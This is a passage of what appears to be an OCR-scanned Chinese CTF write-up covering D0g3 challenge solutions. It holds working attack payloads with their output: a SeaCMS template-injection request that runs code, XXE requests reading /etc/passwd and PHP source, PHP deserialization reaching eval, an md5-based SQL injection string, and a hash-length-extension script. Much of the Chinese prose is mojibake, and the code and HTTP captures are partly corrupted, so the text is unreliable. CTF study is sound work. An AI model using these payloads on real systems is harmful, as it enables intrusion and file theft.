ZHHM --writeup

TuudOp 0 F 2018-11-26 12:42:42 KA o 2559 ﬁ Wi 1
SRER: A UERE: 2l

FRALFE B . ARSCNIE R R BISCE, HHE CC 4.0 BY-SA BRI, #8005 M L ESCH g A= .

ASCEER:: hitpsy/blog.csdn.net/qq 39850969/article/details/84503901
AL

O e
TRXE1ITH
WL

only d0g3er can see flag
EMTH =R —NgFems, B HE, #Esearch.phpB —MUBLHAT IR

HE:Mi&payload:

http://138.68.2.14/seacms/search.php?searchtype=5
POST:

searchword=searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{se

XD SED FEVY) FHRS) BEE RO BEHH)
phpinfo() X |+

A @ € & 13868.2.14/seacms/search.php?searchtype=5

w ek
INT ¥ = @& SQL~ XSS Encryption” Encoding™ Other~
@ Load URL | http://138.68.2.14/seacms/search.php?searchtype=5
& split URL
D Execute
Enable Post data [ Enable Referrer
Post data searchword ={if{searchpage:year}&year=:e{searchp chpage:letterj&letter=al{search 2 1=(join{searchpage;jq}8jq=($_P{searchpage:ver}&8wer=0ST[9]))&9[0]=php&s3[1]=info();

Php

Bystem [Linux centos-1542812354340-s-2vcpu-dgb-sfo2-01 3.10.0-862.2.3.¢l7.x86_64 #1 SMP Wed May 9
[18:05:47 UTC 2018 x86 64

[Build Date un 5 2017 17:13:39

Configure [/configure” —prefix=, /php/54"—with-config-file-p:

fCommand [—-enable-fpm’ ‘—-with-fp ¢ -with-fpr p: / *—-with-mysgl=mysglnd’ '-with-

h-pd | with-iconv-dir’ "with-f
freetype' '—withjpeg-dir' "—with-png-dir' '--with-zlib' "with-libxml-dir
[--disable-rpath’ --enable-bemath’ *--enable-shmop’ "--enable-sysvsem’ "

ype-di
r' '--enable-xml*
able-inline-

ing’ *--with-mcrypt’

[ —enable-ftp' "-with-gd' "-enable-gd-native-ttf' ‘-with-openssl=/usr/local/openss!''—with-mhash"
[ —enable-pentl’ —enable-sockets' '--with-xmirpc’ '-enable-zip' '-enable-soap’ "-with-gettext

[ --disable-fileinfo’ "--enable-int"

[Server API [FPM/FastCGI
|Virtual disabled
Directory

Support

File (php.ini)
Path

Loaded [fwww/server/php/54/etc/phpiini
Configuration
File

[scan this dir for|(none)

BHEBWSIER, £BUEERE X4 ZLE FlaglsNotHere , JEMiflagh i% A 7EiX B

FRIEps A RIS R, TR Bl — TRV, REVBEEEFEREXH, RIElaghh e B EEEK 515 B

=R


https://blog.csdn.net/qq_39850969
https://blog.csdn.net/qq_39850969/category_8397321.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E6%25B4%25B5%25E6%259D%25AFctf&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_39850969/article/details/84503901
https://blog.csdn.net/qq_39850969/category_8397321.html

tetid [E common. inc. phpkd |

B<?php

scfg dbhost
scfg dbname
scfg dbuser
scfg dbpwd

-?>

P TR B A K

[/ B AE FEERE(S R, flagfEflagk B, HBd0g3EHF

'127.0.0.1"

'DOg3"

'd0g3"';
'FlagIsHere'

et

bt

]

$cfg dbprefix = "'sea ';
$cfg db language = 'utf8'

]

2 SREWE]

AntSword #iR BE =[O
« 3 | =138.68.2.14

S REANE

© 1 Rl

<> hfTSQL

AT X EE

L] Lol I e ol S Y ‘£11§‘ QERDER B 4 DEer LTI o 0.

ol 1 R S M E el L
& information_schema
-8 flag
- B flag
T value (varchar(100})
HBR sea_admin
R sea_arcrank
R sea_buy
R sea_cck
FR sea_co_ds

R sea_co_config

QhiTER
value

RDBNM3tUaGlzX21zX31IYWxfZmxhzZ30=

— e ro—t=te
R sea_co_filters
HR sea_co_news
BR sea_co_type
R sea_co_url
BR sea_comment
R sea_contant
R sea_count
R sea_crons
BH sea_data
R sea_errad

— - -

EE TR flag

Magic Mirror




& C  ® FZ=&| 22218.158.227:1028

WA W EE—T G Google @ EEM - YouTube FIFE ctf HhEE ERuEE RS &SRCS RASRRES KiFtEE FRIE

DOg3 login

Username

Password

FREFME, RiE KSadmin, AELEFWG, NIFXNE A%, HHe LRIE
WiERR, NEENEFEXE, TUBREELFKhost, BiAT LUK HLE B KRR IZBI RN vps b
SetEvps kM — AN A

aage sunnort Moha¥term hv <itheerihina tn the nrafescinnal editinn here+  httne-fimahavterm mohatek n

R JE R EladminZ5 BE B BHE VR, #hosteU e FRATT MG I I vps

[‘/| Request to http://222.18.158.227:10280

l Forward | l Drop | ' Intercept is on ' l Action

J Raw T Params T Headers I Hex ]
POST /func/getpasscheck. php HTTP/1.1

ost: 211. i 5:9999 I

USer—Rgent. Moz | (as Windows NT 10.0; Winé4; x64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html, application/xhtml+xml, application/xml;g=0.9, */*:q=0.8
Accept—-Language: zh—CN, zh;qg=0. 8, en-U5;g=0. 5, en;q=0. 3

Accept—Encoding: gzip, deflate

DNT: 1

Referer: http://222.18.158. 227:10280/getpassword. php

Cookie: PHPSESS|D=5dlubtgat?68intuBpmundvtald

Connection: close

Content—Type: application/x—www—Torm—ur |lencoded

Content-Length: 14

username=admin

KEZEvpsHti e T BB, REWREBEHT T



accepted

211.159.1

Bz JEEE TEEL, KIRxxelRiF
WG HEMINE, WikpayloadEE

(EaN.| <idv Target: http://222.18.158.227:10280 | #| | 2

Raw | Params THeaders IEIW] Raw m{m]

POST /admin/server.php HTTP/1.1 A HTTP/1.1 200 OK ]

Host: 222.18.158.227:10280 r Date: Sun, 25 Nov 2018 15:02:07 GMT I

User—Agent: Mozillas5.0 (Windows NT 10.0; Wintd; x64; rv:45.0) Server: Apache/Z.4.7 (Ubuntu)

Gecko/20100101 Firefox/45.0 X-Powered-By: PHP/5.5.9-1ubuntud. 26

Accept: text/plain, */¥; q=0.01 Expires: Thu, 19 Nov 1981 08:52:00 GMT

Accept-Language: zh—CN, zh;g=0. 8, en-US5;9=0.5, en;q=0. 3 Cache-Control: no—store, no—cache, must-revalidate, post—check=0

Accept—Encoding: gzip, deflate pre—check=0

DNT: 1 Pragma: no-cache

Content-Type: text/xml Vary: Accept—-Enceding

X-Requested-With: XMLHttpRequest Content-Length: 1040

Referer: http://222.18.158. 227:10280//admin/ Connection: close

Content-Length: 141 Content-Type: text/html;charset=utf-8

Cookie: PHPSESSID=5dluStgat?68intuBpmunbvtal

Connection: close DOz 35k it Moot : x:0:0: root: /root: /bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

<?xml version="1.0"7> bin:/bin:/usr/sbin/nologin

<IDOCTYPE test [ sys:x:3:3:sys:/dev:/usr/sbin/nologin

<IENTITY xxe SYSTEM "file:///etc/passwd"> sync:x:4:65534:sync:/bin:/bin/sync

1> games; x:5:60; games: /usr/games: /usr/sbin/nologin

<informat ion><username>&xxe| </username></information> man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
Ip:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news: /var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uuep: /var/spool /uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www—data:x:33:33 . www—data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup: /var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:3%:ircd: /var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug—Reporting System

—REBBEERLH TAR—BEWEX/E, RIFHER T —AMlag.phpXXff.
HE R B flag.php>XE AT



Burp Suite Professional v1.7.30 - Temporary Project - licensed to Larry_Lau

Burp Intruder Repeater Window Help

[Target I Proxy I Spider I Scanner I Intruder TRepeHef T Sequencer l’ Decoder l’ Comparer I Extender I Project options I User options W’Alerts ]

1o |2 0 [ 3= [4 x| 5w |6 = | T = |8 [ 9 [0 |11 = |12 2 [13 = [ 14 = [ 15 = | 16 = | A7 = [ 18 = | 19 = | 20 = | 21 = [22 = | .
Go Cancel < |r > | Target: http://222.18.158.227:10280 | & m
Request Response
Raw | Params | Headers | Hex | XML Raw | Headers | Hex
POST /admin/server.php HTTP/1.1 & HTTP/1.1 200 OK A
Host: 222.18.158.227:10280 r Date: Sun, 25 Nov 2018 15:04:44 GMT r
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:45.0) Server: Apache/2.4.7 (Ubuntu)
Gecko/20100101 Firefox/45.0 X-Powered-By: PHP/5.5. 9-1ubuntud. 26
Accept: text/plain, */%¥; g=0.01 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Language: zh—CN, zh;q=0. 8, en-US;0=0.5, en;g=0. 3 Cache—-Control: no—store, no—cache, must-revalidate, post-check=0,
Accept—-Encoding: gzip, deflate pre—check=0
DNT: 1 Pragma: no—cache
Content-Type: text/xml Vary: Accept—-Enceding
X-Requested-With: XMLHttpRequest Content-Length: 444
Referer: http://222.18.158.227.10280//admin/ er——
Content—Length: 194 Content—Type: text/html;charset=utf-8
Cookie: PHPSESS|D=5d|uStgat?48intulpmunévtal
Connection: close DOg 345 (15 VR R M SR ERDIwaHAKaGVhZGYyKCJIDb250ZWSOLYR5cGU
61 HR | eHQvaHRtbDt jaGFyc2VOPXVOZi 041 i k7CmV jaG8g | jx jZWS0ZX | +PGZvbnQ
7xml wversion="1.0"7> gc2 | 6ZTONNScgY29sb319J3J1 ZGe+1 jskZWNobyA i WW?1 | Hdhbm5h | GNheHR 1cmU
IDDCTYPE test [ 2dGhpcyBmbGFnPy | 7CmV jaG8g| jxicj48Ynl+| jsKZWNobyAi TZ2ggzeWVzLCBoZXJ
TENTITY xxe SYSTEM 11S17CmVjaG8gl jxicj48Ynl+| jsKZWNobyAiQnVOIG5vdywg | jsKZWNobyAiPGJ
php://filter/read=convert. basebd4—encode/resource=/var/www/html /flag. phg" yPjxicj4i0wp|Y2hvICJHZXAgb3VOIS17CmV jaG8gl jwvZmPudD48L2NIbnRIc j4
iOwovL2ZsYWeb | EQwZzN7SG | TRDEnM19SZXMzdF80bmRfeFh| fQoKC j8+Cg==<br
> >
information><username>&xxe;</username></information>
- -
L L
? < + > | | Type a search term 0 matches ? < + > | | Type a search term 0 matches

Done

807 bytes | 83 millis

"B, EXWERLElagT
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B<?php

ini_set('session.serialize handler', - 'php'):
session_start();

class Anti

=R
public Sinfo;
function _ construct()
| {
Sthis->info = "phpinfo();"':
- }
function _ destruct()
| {
eval ($this->info) ;
i }
-}
if (isset (S5 GET['aa']))
=R

if (unserialize($ GET['aa'])=="'phpinfo')
T {
Sm = new Anti();

else
B {
header ("location:index.html") ;

-
XH R —ANPHPR R 5144 17 8
HOEAMME—T:

<?php
class Anti

{
public $info = "phpinfo();";

}
$m = new Anti();

echo serialize($m);

RN ZHE



<« C O T | 54.200.169.99:7000/session.php?aa=0:4:"Anti":1:{s:4:"info";s:10:"phpinfo();";}

B wE % SE—T G Google O &EM - YouTube FITE ctf st EEME ImEFE&SRCS RIS FtEE FiRMuE

Php

System Linux f083fc0ca609 4.15.0-1023-aws #23-Ubuntu SMP Mon Sep 24 16:31:06 UTC 2018 x86_64
Build Date Oct 26 2018 13:37:32
Configure Command ' Jeonfigure' "--prefix=/usr/local/php' '--with-config-file-path=/usr/local/php/etc’ '--with-config-file-scan-

dir=/usr/local/php/conf.d’ --enable-fpm' '--with-fpm-user=www' '--with-fpm-group=www' '--with-
mysql=mysqind’ '--with-mysgli=mysqInd' '--with-pdo-mysql=mysqgInd’ '--with-iconv-dir' '--with-freetype-
dir=/usr/local/freetype" "--with-jpeg-dir' --with-png-dir’ '--with-zlib' '--with-libxm|-dir=/usr' '--enable-
xml' '--disable-rpath' '--enable-bcmath' '--enable-shmop' '--enable-sysvsem’ '--enable-inline-
optimization’ --with-curl’ *--enable-mbregex’ '--enable-mbstring' *--with-merypt’ '--enable-ftp' '--with-
gd' "--enable-gd-native-ttf' '--with-openss|' '--with-mhash' --enable-pcntl' '--enable-sockets' '--with-
xmilrpc’ *--enable-zip' '--enable-soap’ "--with-gettext' --disable-fileinfo' --enable-opcache’ *--enable-intl’

'—with-xsl'
Server APl FPM/FastCGI
Virtual Directory Support disabled
Configuration File (php.ini) Path Jusr/local/php/etc
EN 2 A=Y
BT RSB, BEEERPHAR
BE B X THAWRLESC
<?php
class Anti
{
public $info = "var_dump(scandir('./'));";
}
//var_dump(scandir('./"));
$m = new Anti();
echo serialize($m);
& C @ FFE2| 54.200.169.99:7000/session.php?aa=0:4:"Anti*:1:{s:4:"info";s:24:"var dump(scandir(%27./%27));";} # 0 = @ e
HomE % SE—T G Google @ ZEMi - YouTube FIFS ctf P ERE IBRFS&SRCS SRS s TR

array(9) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(15) "1.txt?.php# jpg" [4]=> string(8) "404.html" [5]=> string(1 2)|"f1 ag_i3_h3re" |6]:> string(10) "index.html"
[7]=> string(11) "session.php” [8]=> string(7) "www.zip" }

flage 4 f1ag_i3_h3re
show_source()&& LIS

<?php
class Anti

{

public $info = "show_source('flag _i3_h3re');";

$m = new Anti();

echo serialize($m);



&« C ® =% | 54.200.169.99:7000/session.php?aa=0:4:"Anti":1:{s:4:"info";s:28:"show _source(%27f1ag_i3_h3re%27);"
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1% 2iflag

BOOM
RXANEE B KRR RSN M BAE A X, S, RIEGR)E 6 K EAburpZ Ok BRAER R BH
B&: 3]

USRNSSR RSB A
admin

12345
FAFRERETETESES
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Hkrreadme_.htmiTt i, MAXAKSERmEEMHER, BT EHY
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Infinite gloves

Parameter NOHO:The Number OfiHigher-Qrganisrsss0969

A IIRITIFREA W KA 2 8 EH, B HEMEREIR -S4, REm#tE, ERUKFEREREF
ZR

FERASHEREEM T —ANHES, REMBI T —MERE



< C  © F==| 222.18.158.227 e

WA %W ZEE—F G Google @ EHEMNE - YouTube F3FE ctf hFEE EEME WETS&SRCS Bt 2 FEE 2R,

Infinite gloves

Don't forget your password, Thanos!

by DOg3-Zev3n

BRREBL R T, FEERMAEL
R IR A BA T R4S

<div id “main>
<hl »Infinite gloves</hl>
<1 --SELECT master FROM secret WHERE password = binary ~ @@L Q1@ OGP € --><p>Tou are not Thanos!!</p>
<fdive
< bodyr
ml >

R ER—MPATHIIER, passwordRJRis —#tH, 515 EEK N AR TS, B USSR
B —A 775 B md5 oy JR s — Bt R 5 W LA S R I 51 5

ffifdyop WI#F 7T LAAR R 5] R

md5 (ffifdyop, true) = 'or'c@]9@®!r,®€b

XA A E BT LA Blflag

Hash! ! !
MNP L5, #TERIE, BIEAIERLRIcookieZHihH —1sourceZ 80, Bih1, BEVEY


https://blog.csdn.net/qq_24810241/article/details/79908449

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
POST 700001/ index. php HTTP/1.1 A
Host: 207.246.104.192 E </body>
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé4; rv:45.0)
Gecko /20100101 Firefox/45.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0 8 derror_reporting(0);
Accept—Language: zh—CN, zh;q=0. 8, en—US;q=0.5, en;q=0.3
Accept—Encoding: gzip, deflate $flag = "flag [xxxxxxxxXXAXXXXXXXXXRKXXKXKK] " ;
DNT: 1 $secret_key = "xxxxxxxxxxxxxxxxxxxx"; // the key is safe! no
Referer: http://207.246.104.192/00001/ index. php one can know except me
Cookie: hash_key=c3ef608fdc5?d9143c39664ade7556d5 ;| source=1
Connection: close $username = $_POST["usernams”];
Content—Type: application/x—www—form—urlencoded $password = $_POST["password”];
Content—Length: 41 header ("hash_key:" . $hash_key) ;
username=asdf&password=asdfé&submit=submit it (lempty($_COOKIE["getflag”])) |
if (urldecode ($username) === "D0g3" && url|decode (§password)
I= "D0g3™) |
if ($COOKIE["getflag”] === md5 ($secret_key .
ur ldecode ($username . $password))) |
echo "Great! You're in!\n";
die ("<{/-—— The flag is " §flag ==Y
}
else {
die ("Go out! Hacker!");
}
}
else {
die ("LEAVE! You're not one of us!");
}
1
setcookie ("sample—hash”, md5($secret_key . urldecode ("DOg3" .
"D0g3")), time() + (60 * 60 * 24 * 7)),
L if (empty($_COOKIE["source”])) |
v setcookie("source”, 0, time() + (60 = 60 = 24 * 7)),

copy iR — T, BiRhashikEY RKdE

https://blog.csdn.net/qq_35078631/article/details/7094 1204

BET—RXE
THITHE
M pythonjiil 4


https://blog.csdn.net/qq_35078631/article/details/70941204

# -*- coding:utf-8 -*-

from urlparse import urlparse

from httplib import HTTPConnection
from urllib import urlencode
import requests

import json

import time

import os

import urllib

def gao(x, y):
#print x
#print y
url = "http://207.246.104.192/00001/index.php"
#url = "http://192.168.100.159/hash.php"
cookie = "source=0; getflag=" + vy
# print cookie
build_header = {
'Cookie': cookie,
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.11; rv:44.0) Gecko/20100101 Firefox/44
'"Host': '207.246.104.192°',
"Accept’': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}
res = requests.post(url, data={'username':'DOg3', 'password': x}, headers=build_header)
return res.text

for i in xrange(1,50):
print i
#secret len = ???
find_hash = "./hash_extender/hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f m
find_hash = "./hash_extender -d 'D@g3' -a 'DOg3' -s 'c3ef608fdc59d9143c39664ade7556d5"' -f md5 -1 " + st
calc_res = os.popen(find_hash).readlines()
hash_value = calc_res[0][:32]
attack_padding = calc_res[0][32:]
ret = gao(attack_padding, hash_value)
#print ret
if "Hacker" not in ret:
print ret
break

Great! You're in!

<l-- The flag is DOg3{h4sh_1s s0 difficlut_t0_me}-->
root@kali:~/hash_extender-master# [

B 3lflag

75 #4 it &)

HEZ, Arobots.txt, ViH KILArobots.php, ITHAE —& i, BEEEZ16EH, REE XA, B3
caipiao6.zip



08 3 2 YR R SR W K Y B AR HEAT R 55 LR

($i=0; $i<7; $i++){
($numbers[$i] Pwin_numbers[$i]){
$same_count++;

hitps://blog.csdn.net/aq

(true == N AHOKIED) HMtrue, HLBRIH
Fr U R B IESE B 37 ANtrue st AT

<?php
$a = array(
"action"=>"buy",
"numbers"=>array (
"=>true,
"=>true,
"=>true,
"=>true,
"=>true,
"=>true,

o U s WNE

"=>true,

)
)5

echo json_encode($a);

?>

KBV 775 B B HpostiE, £RILIRE, BH% T

123123123 $10201808 Logout

WLT 2 )5, R¥Epge, RHFEAERH K
Wiz AN, HpythonfliA i —T

import gmpy

#N=q*p
N,p,q,e=213569520509446,473398606,451141,17
d=gmpy.invert(e, (p-1)*(q-1))

print(d)



ks 2at & DOg3#% ik & flag

re

o R 22

L BRHAK, ZRFAMBREE,

FRHEEE %, TReadFile,OpenFile,WriteFile,CreateFileA CreateFileW, #: & dump

bufferB I, AJEIDARYE.
BEHTRE ¥, BLTbufferBE ERABERREE, ZiEARZ LKA, Nice!ll

A 58 A o

ErsL

AR RS TIEIEE BT,

m#, TREZELBHPE.

pFile
00000228
0000022C
00000230
00000234
00000238
0000023C
00000240
00000244
00000248
0000024A
0000024C

Data Description
2E 72 64 61 Name
74 61 00 00
00000D7A  Virtual Size
00003000 RVA
00000000 Size of Raw Data |
00001800 Pointer to Raw Data
00000000 Pointer to Relocations
00000000 Pointer to Line Numbers
0000 Number of Relocations
0000 Number of Line Numbers
40000040 Characteristics

00000040
40000000

Wk FHODMBEBUE KIS, B1T/E B

A HON L

”b;‘:l I.H“f.i..

RNEEIEHINBWIATR, TRAPEviewEH KILiE K R F 2. rdataBOR BEIEH

Value
rdata

RAFPEL Y. 47 AbiEHOE0D

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ



am run

BERTFAE, B IEE— AN mpBiFnopt, BIF EFZTREF

811510BB 8945 DA mov dword ptr
811510BE 8945 DE mov dword ptr
811516c1 8945 E2 mov dword ptr :[ebp-Bx1E] ,eax

011510C4 8945 E6 mov dword ptr :[ebp-Bx1A] ,eax

811510867 8945 ER mov dword ptr ss:[ebp-8x16],eax

811516CA 68 8C3115M PE_Debug.B8115318C first,you need make program run\n
#115106CF E8 ACFFFFFF |call PE_Debug.81151828

81151004 83C4 B4 add esp,

1151007 B8 DE181581

a115160C FFEB

8115106DE CD 2D

#11510E08 68 BA311501 PE_Debug.811531B80 please input flag:\n

#1151 8ES E8 36FFFFFF |call PE_Debug.81151828

#11516ER 83Ch4 04 add esp,

011510ED 8D4D DO lea ecx,dword ptr ss:[ebp-8x30]

011510F0 51 ecx PE_Debug.<{ModuleEntryPoint>
#11516F1 68 C43115M1 PE_Debug.B811531C4 %s

#11510F6 E8 S55FFFFFF |call PE_Debug.81151858

#115106FB 83Ch4 08 add esp,

011510FE 8D55 Do lea edx,dword ptr ss:[ebp-8x30]

011510DE=PE_Debug.0811510DE
eax=1B71DB11

:[ebp-8x26] ,eax
:[ebp-Bx22],eax

wmumunun
u v n n

FHIDAIMZL, R BImainik £

= 8;
sub_401020("first,you need make program run\n");
sub_401020("please input flag:\n");
sub_4010e50("%s", &v5);
if ( (char *)&v5 + strlen({const char *)&5) + 1 I= (char *)&5 + 1
&8& (unsigned int)({char *)&5 + strlen((const char *)&v5) + 1 - ({char *)&5 + 1)) < @x1E )

sub_4013F8(&v13);

sub_401280(&v5, &v3);
= 10;

while ( 1)

{

if (! )
break;
if ( *((char *)& + v2) = vA[2 * v2] || *(&v2 + 2 * v2) + 2 |= (off_404018[v2] *~ 3) )
{
sub_401020("sry,u are wrong :(\n");
system({"pause™);
return 8;
}
}
sub_401020("Congratulation, flag is:\nD@g3{%s}\n");
system({"pause™);
= 0;
¥
else
{
sub_481820("sry,u are wrong :(\n");
system("pause");
= B;
¥

return ;
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Eint main()

,0x00 };
x6E, 0x00 } ;
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